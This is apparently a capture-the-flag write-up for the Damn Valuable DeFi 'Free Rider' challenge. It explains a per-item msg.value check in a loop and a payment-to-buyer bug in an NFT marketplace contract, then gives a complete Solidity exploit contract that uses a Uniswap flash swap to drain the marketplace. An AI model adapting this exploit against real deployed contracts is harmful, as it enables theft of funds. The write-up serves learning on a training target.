A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
The developers behind it have been notified the marketplace is vulnerable. All tokens can be taken. Yet they have absolutely no idea how to do it. So they’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way.
You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.
If only you could get free ETH, at least for an instant.
TL;DR
buyMany() is a payable function and it calls _buyOne() in a for loop, which means we can pay 1 unit of money and get multiple units of NTFs. Another bug is token.ownerOf(tokenId)) is set to the buyer after token.transferFrom(), so the payment is sent to the buyer instead of the seller. In other words, we get paid by buying NFT, pretty nice deal isn't it 😎
Code Audit
In the Foundry setup we can see there exists a Uniswap V2 DVT/WETH pool:
token0 and token1 may map to DVT/WETH or WETH/DVT depending on the DVD version you are working with, so be aware of this.
Looking at FreeRiderNFTMarketplace.sol, an obvious bug pops up:
functionbuyMany(uint256[] calldata tokenIds) externalpayablenonReentrant {for (uint256 i =0; i < tokenIds.length; i++) {_buyOne(tokenIds[i]); } }
function_buyOne(uint256 tokenId) private {uint256 priceToPay = offers[tokenId];require(priceToPay >0,"Token is not being offered");require(msg.value >= priceToPay,"Amount paid is not enough"); amountOfOffers--;// transfer from seller to buyer token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);// pay sellerpayable(token.ownerOf(tokenId)).sendValue(priceToPay);emitNFTBought(msg.sender, tokenId, priceToPay); }
_buyOne() handles price based msg.value and it is called in a loop, this is clearly a bug where attacker can pay 1 unit of money and get multiple uints of NFTs.
Another less obvious bug is that token.ownerOf(tokenId) is set to the buyer after the token.safeTransferFrom() call, therefore payable(token.ownerOf(tokenId)).sendValue(priceToPay) actually sends ETH to the buyer instead of the seller.
Combining the above two observations, we can come up with an attack:
Flash swap 15 WETH from Uniswap V2 DVT/WETH pool and convert it to 15 ETH.
Call buyMany() and buy all 6 NFTs. For each iteration, we "get paid" 15 ETH. In the end, we will have 90 ETH (15 * 6 - 15).
Send all 6 NFTs to FreeRiderBuyer.
Swap 15 ETH to 15 WETH in order to payback the flash swap.
Note that all the operations mentioned above should happen inside the flash swap callback uniswapV2Call(). Also don't forget to implement ERC721 callback onERC721Received() since the NFT marketplace sends NFTs via safeTransferFrom().
Building PoC
// SPDX-License-Identifier: MITpragmasolidity >=0.8.0;import"forge-std/Test.sol";import {FreeRiderBuyer} from"../../../src/Contracts/free-rider/FreeRiderBuyer.sol";import {FreeRiderNFTMarketplace} from"../../../src/Contracts/free-rider/FreeRiderNFTMarketplace.sol";import {IUniswapV2Router02, IUniswapV2Factory, IUniswapV2Pair} from"../../../src/Contracts/free-rider/Interfaces.sol";import {DamnValuableNFT} from"../../../src/Contracts/DamnValuableNFT.sol";import {DamnValuableToken} from"../../../src/Contracts/DamnValuableToken.sol";import {WETH9} from"../../../src/Contracts/WETH9.sol";import {IERC721Receiver} from"openzeppelin-contracts/token/ERC721/IERC721Receiver.sol";import {ReentrancyGuard} from"openzeppelin-contracts/security/ReentrancyGuard.sol";import {IERC20} from"openzeppelin-contracts/token/ERC20/IERC20.sol";contractFreeRiderisTest {// The NFT marketplace will have 6 tokens, at 15 ETH eachuint256internalconstant NFT_PRICE =15ether;uint8internalconstant AMOUNT_OF_NFTS =6;uint256internalconstant MARKETPLACE_INITIAL_ETH_BALANCE =90ether;// The buyer will offer 45 ETH as payout for the jobuint256internalconstant BUYER_PAYOUT =45ether;// Initial reserves for the Uniswap v2 pooluint256internalconstant UNISWAP_INITIAL_TOKEN_RESERVE =15_000e18;uint256internalconstant UNISWAP_INITIAL_WETH_RESERVE =9000ether;uint256internalconstant DEADLINE =10_000_000; AttackContract internal attackContract; FreeRiderBuyer internal freeRiderBuyer; FreeRiderNFTMarketplace internal freeRiderNFTMarketplace; DamnValuableToken internal dvt; DamnValuableNFT internal damnValuableNFT; IUniswapV2Pair internal uniswapV2Pair; IUniswapV2Factory internal uniswapV2Factory; IUniswapV2Router02 internal uniswapV2Router; WETH9 internal weth;addresspayableinternal buyer;addresspayableinternal attacker;addresspayableinternal deployer;functionsetUp() public {/** * SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ buyer =payable(address(uint160(uint256(keccak256(abi.encodePacked("buyer")))))); vm.label(buyer,"buyer"); vm.deal(buyer, BUYER_PAYOUT); deployer =payable(address(uint160(uint256(keccak256(abi.encodePacked("deployer")))))); vm.label(deployer,"deployer"); vm.deal(deployer, UNISWAP_INITIAL_WETH_RESERVE + MARKETPLACE_INITIAL_ETH_BALANCE);// Attacker starts with little ETH balance attacker =payable(address(uint160(uint256(keccak256(abi.encodePacked("attacker")))))); vm.label(attacker,"Attacker"); vm.deal(attacker,0.5ether);// Deploy WETH contract weth =newWETH9(); vm.label(address(weth),"WETH");// Deploy token to be traded against WETH in Uniswap v2 vm.startPrank(deployer); dvt =newDamnValuableToken(); vm.label(address(dvt),"DVT");// Deploy Uniswap Factory and Router uniswapV2Factory =IUniswapV2Factory(deployCode("./src/build-uniswap/v2/UniswapV2Factory.json", abi.encode(address(0)))); uniswapV2Router =IUniswapV2Router02(deployCode("./src/build-uniswap/v2/UniswapV2Router02.json", abi.encode(address(uniswapV2Factory),address(weth)) ) );// Approve tokens, and then create Uniswap v2 pair against WETH and add liquidity// Note that the function takes care of deploying the pair automatically dvt.approve(address(uniswapV2Router), UNISWAP_INITIAL_TOKEN_RESERVE); uniswapV2Router.addLiquidityETH{value: UNISWAP_INITIAL_WETH_RESERVE}(address(dvt),// token to be traded against WETH UNISWAP_INITIAL_TOKEN_RESERVE,// amountTokenDesired0,// amountTokenMin0,// amountETHMin deployer,// to DEADLINE // deadline );// Get a reference to the created Uniswap pair uniswapV2Pair =IUniswapV2Pair(uniswapV2Factory.getPair(address(dvt),address(weth)));assertEq(uniswapV2Pair.token0(),address(dvt));assertEq(uniswapV2Pair.token1(),address(weth));assertGt(uniswapV2Pair.balanceOf(deployer),0); freeRiderNFTMarketplace =new FreeRiderNFTMarketplace{ value: MARKETPLACE_INITIAL_ETH_BALANCE }(AMOUNT_OF_NFTS); damnValuableNFT =DamnValuableNFT(freeRiderNFTMarketplace.token());for (uint8 id =0; id < AMOUNT_OF_NFTS; id++) {assertEq(damnValuableNFT.ownerOf(id), deployer); } damnValuableNFT.setApprovalForAll(address(freeRiderNFTMarketplace),true);uint256[] memory NFTsForSell =newuint256[](6);uint256[] memory NFTsPrices =newuint256[](6);for (uint8 i =0; i < AMOUNT_OF_NFTS;) { NFTsForSell[i] = i; NFTsPrices[i] = NFT_PRICE;unchecked {++i; } } freeRiderNFTMarketplace.offerMany(NFTsForSell, NFTsPrices);assertEq(freeRiderNFTMarketplace.amountOfOffers(), AMOUNT_OF_NFTS); vm.stopPrank(); vm.startPrank(buyer); freeRiderBuyer =new FreeRiderBuyer{value: BUYER_PAYOUT}( attacker,address(damnValuableNFT) ); vm.stopPrank(); console.log(unicode"🧨 Let's see if you can break it... 🧨"); }functiontestExploit() public {/** * EXPLOIT START * */ vm.startPrank(attacker, attacker); attackContract =newAttackContract( freeRiderNFTMarketplace, uniswapV2Pair, weth, freeRiderBuyer, damnValuableNFT ); attackContract.flashSwap(); console.log("attacker's ETH balance: ", attacker.balance /10**18); vm.stopPrank();/** * EXPLOIT END * */validation(); console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉"); }functionvalidation() internal {/** * SUCCESS CONDITIONS */// Attacker must have earned all ETH from the payoutassertGt(attacker.balance, BUYER_PAYOUT);assertEq(address(freeRiderBuyer).balance,0);// The buyer extracts all NFTs from its associated contract vm.startPrank(buyer);for (uint256 tokenId =0; tokenId < AMOUNT_OF_NFTS; tokenId++) { damnValuableNFT.transferFrom(address(freeRiderBuyer), buyer, tokenId);assertEq(damnValuableNFT.ownerOf(tokenId), buyer); } vm.stopPrank();// Exchange must have lost NFTs and ETHassertEq(freeRiderNFTMarketplace.amountOfOffers(),0);assertLt(address(freeRiderNFTMarketplace).balance, MARKETPLACE_INITIAL_ETH_BALANCE); }}contract AttackContract { FreeRiderNFTMarketplace public freeRiderNFTMarketplace; IUniswapV2Pair public uniswapV2Pair; FreeRiderBuyer public freeRiderBuyer; DamnValuableNFT public damnValuableNFT; WETH9 public weth;uint256[] public tokenIds;constructor(FreeRiderNFTMarketplace_freeRiderNFTMarketplace,IUniswapV2Pair_uniswapV2Pair,WETH9_weth,FreeRiderBuyer_freeRiderBuyer,DamnValuableNFT_damnValuableNFT ) { freeRiderNFTMarketplace = _freeRiderNFTMarketplace; uniswapV2Pair = _uniswapV2Pair; weth = _weth; freeRiderBuyer = _freeRiderBuyer; damnValuableNFT = _damnValuableNFT; }functionflashSwap() external {// This is a Uniswap V2 DVD/WETH pool// Flash swap for 15 WETH uniswapV2Pair.swap(0,15ether,address(this),bytes("1337")); }functionuniswapV2Call(address sender,uint amount0,uint amount1,bytescalldata data) external { console.log("Flash swap received! Current WETH balance of attackContract: ", weth.balanceOf(address(this)) / 10**18, "WETH");
console.log("Swapping 15 WETH to 15 ETH."); weth.withdraw(15ether);// Pay 15 ether, receive 6 NFT and get paid 90 etherfor (uint256 i; i <6; i++) { tokenIds.push(i); } freeRiderNFTMarketplace.buyMany{value:15ether}(tokenIds); console.log("ETH balance of attackContract after buyMany(): ",address(this).balance /10**18,"ETH");// Send all NFTs to the buyer and get the payoutfor (uint256 i; i <6; i++) { console.log("Sending NFT to the buyer: ", i); damnValuableNFT.safeTransferFrom(address(this),address(freeRiderBuyer), i,""); } console.log("ETH balance of attackContract in the end: ",address(this).balance /10**18,"ETH");// Repay flash swap console.log("Swapping 16 ETH to 16 WETH in order to payback flash swap."); console.log("Repaying flash swap."); weth.deposit{value:16ether}(); weth.transfer(address(uniswapV2Pair),16ether); console.log("Flash swap successfully repaid."); }functiononERC721Received(address,address,uint256_tokenId,bytesmemory) externalreturns (bytes4) {return IERC721Receiver.onERC721Received.selector; }receive() externalpayable { console.log("ETH received! Current ETH balance of attackContract: ",address(this).balance /10**18,"ETH"); }}